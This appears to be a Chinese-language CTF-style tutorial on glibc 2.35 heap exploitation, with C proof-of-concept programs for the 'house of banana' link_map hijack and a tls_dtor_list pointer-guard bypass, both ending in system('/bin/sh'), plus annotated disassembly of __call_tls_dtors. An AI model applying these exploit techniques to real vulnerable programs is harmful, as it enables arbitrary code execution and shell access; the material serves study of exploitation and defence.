glibc2.35利用

基于2.35-0ubuntu3_amd64

失去了free malloc realloc exit hook

试了一下exit去改_rtld_global._dl_ns[0]._ns_loaded.l_addr控制析构还是有用的

house of banana依旧可行

poc

#include <stddef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
void backdoor() {
system("/bin/sh");
}
int main() {
puts("house of banana's poc");
size_t libc_base = (size_t)&puts - 0x80ed0;
size_t _rtld_global_ptr_next_next_next = libc_base + 0x3fd040-0x41d88;//distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next) rtld_global_ptr与libc_base的偏移不固定,可能会在地址的第2字节处发生变化
//large bin attach
char *ptr0 = malloc(0x428);
char *gap = malloc(0x10);
char *ptr1 = malloc(0x418);
gap = malloc(0x10);
free(ptr0);
// put ptr0 into large bin
malloc(0x438);
free(ptr1); // free ptr1 into unsorted bin
// bk_nextsize = _rtld_global_ptr_addr
*(size_t *)(ptr0 + 0x18) = _rtld_global_ptr_next_next_next - 0x20;
malloc(0x438); //large bin attack to hijack _rtld_global_ptr

//修改最后一个link_map DT_FINI_ARRAY
size_t *fakelinkmap = (size_t *)(ptr1-0x10);//subtract chunk head
fakelinkmap[3]=0;//绕过 assert (ns != LM_ID_BASE || i == nloaded);
fakelinkmap[5] = (size_t)fakelinkmap; // l_real
fakelinkmap[34] = (size_t)&fakelinkmap[34]; // l->l_info[26] DT_FINI_ARRAY
fakelinkmap[35]=(size_t)&fakelinkmap[38];//l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fakelinkmap[36]=(size_t)&fakelinkmap[36];//l->l_info[DT_FINI_ARRAYSZ]
fakelinkmap[37]=0x8;//i=l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fakelinkmap[38]=(size_t)backdoor;//call array[i]
fakelinkmap[0x63]=0x800000000;//使l->l_init_called 为1

//或者修改最后一个link_map的DT_FINI
/*
size_t *fakelinkmap = (size_t *)(ptr1-0x10);//subtract chunk head
fakelinkmap[3]=0;
fakelinkmap[5] = (size_t)fakelinkmap; // l_real
fakelinkmap[8+13] = (size_t)&fakelinkmap[34]; // l->l_info[13] DT_FINI
fakelinkmap[8+26] = 0; // l->l_info[26] DT_FINI_ARRAY
fakelinkmap[35]=(size_t)backdoor;//l->l_info[DT_FINI]->d_un.d_ptr
fakelinkmap[0x63]=0x800000000;//使l->l_init_called 为1
*/
}

上面poc主要是改了最后一个link_map,也可以改第一个link_map,把第一个link_map的next改为原本的第二个link_map满足4个链表,绕过 assert (ns != LM_ID_BASE || i == nloaded);

原本的第二个link_map
pwndbg> p (_rtld_global._dl_ns._ns_loaded[0].l_next)
$10 = (struct link_map *) 0x7ffff7ffe890

tls_dtor_list攻击劫持exit执行流

exit->__run_exit_handlers->__call_tls_dtors

void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif

tls_dtor_list = tls_dtor_list->next;
func (cur->obj);
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}

tls_dtor_list是下面的结构体,一般都是空的

struct dtor_list
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
pwndbg> disassemble __call_tls_dtors                                                                                                                                                                     
Dump of assembler code for function __GI___call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d301f] # 0x7ffff7e18d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx];fs:[rbx]处为tls_dtor_list
0x00007ffff7c45d75 <+21>: test rbp,rbp;判断tls_dtor_list是否为空
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__GI___call_tls_dtors+93>;为空结束
0x00007ffff7c45d7a <+26>: nop WORD PTR [rax+rax*1+0x0];无影响
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18];next指针给rdx
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0];func给rax
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30;func循环右移11位,再和fs:0x30处异或,
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx;将next存回tls_dtor_list,tls_dtor_list = tls_dtor_list->next;
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8];obj当作参数
0x00007ffff7c45d9d <+61>: call rax;调用func
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <free@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__GI___call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret

可以控制tls_dtor_list里的dtor_list–>func为system dtor_list–>obj为指向binsh字符串地址

或者因为他是利用rbp来存放dtor_list,可以在dtor_list–>func存放leave ret地址,dtor_list–>obj及下面存放rop链,就可以实现rop

需要满足

  • 泄露libc,获取tls_dtor_list等地址

    • 可以配合largebin attach把堆地址写入tls_dtor_list(largebin中有一个free_chunk,修改 free_chunk 的 bk_nextsize 为tls_dtor_list-0x20,就可以把free_chunk写入tls_dtor_list)
  • 能够篡改或泄露fs_base + 0x30的值

  • 通过exit退出程序

poc

#include <stddef.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
size_t encrypt(size_t value,size_t key) {
size_t newval=(value^key);
return (newval<<0x11)|(newval>>(64-0x11));
}
int main() {
size_t fsbase;
size_t tls_dtor_list_addr,key;
__asm__ volatile("mov %%fs:0, %0" : "=r"(fsbase));
tls_dtor_list_addr = fsbase - 88;//获取到tls_dtor_list位置
key=*(size_t*)(fsbase+0x30);
char *binsh = (char *)malloc(0x20);
strcpy(binsh,"/bin/sh\x00");
size_t *fake_tls_dtor = (size_t *)malloc(0x20);
fake_tls_dtor[0] = encrypt((size_t)&system, key);
fake_tls_dtor[1] = (size_t)binsh;
*(size_t *)tls_dtor_list_addr=(size_t)fake_tls_dtor;
}